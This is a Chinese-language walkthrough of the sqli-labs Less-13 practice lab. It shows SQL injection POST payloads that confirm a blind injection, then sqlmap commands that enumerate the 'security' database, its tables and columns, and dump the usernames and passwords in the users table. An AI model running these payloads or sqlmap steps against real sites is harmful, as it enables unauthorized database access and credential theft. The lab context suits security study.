获取数据操作
判断所查询数据库中包含的列数
采用post进行参数输入:
uname=') order by 3 -- - &passwd=') -- -
通过对查询结果进行排序,发现无法对第三列进行排序,且报错Unknown column ‘3’ in ‘order clause’,则说明所查询数据库中共有两列数据。
判断输出数据与数据库的联系
输入语句 uname=') or 1=1 -- - &passwd=') -- -
可发现界面只有登录成功的提示,则说明该网站为盲注,则可利用sqlmap进行bool盲注。
爆破数据库名字
sqlmap.py -u http://sqli/Less-13/ --data "uname=1&passwd=11" --current-db
-u 后面的参数为要爆破的网站;–data 后面加入的参数为网站传入的数据,get和post的访问方式均可用–data进行传参;–current-db意思是通过枚举爆破出当前数据库的名字。
得出当前网站使用的数据库为“security”。
爆破数据库的表名
sqlmap.py -u http://sqli/Less-13/ --data "uname=1&passwd=1" -D "security" --tables
-D后面的参数意思为,爆破的网站的数据库为“security”,–tables意思为列举当前数据库的所有表。
得出当前数据库中的表名。
爆破表users中的列名
sqlmap.py -u http://sqli/Less-13/ --data "uname=1&passwd=1" -D "security" -T "users" --columns
-T后面参数意思为爆破的表名为“users”。
得出“users”表中的列数,可以看见含有password和username列。
爆破users表中的password列和username列
sqlmap.py -u http://sqli/Less-13/ --data "uname=1&passwd=1" -D "security" -T "users" -C username --dump
-C后面加入的参数为要查询的列名,–dump作用为显示结果,如果不加的话,会显示不出来(我也不知道为啥=-=)
查询出username结果。
sqlmap.py -u http://sqli/Less-13/ --data "uname=1&passwd=1" -D "security" -T "users" -C password --dump
查询password:
查询出password结果。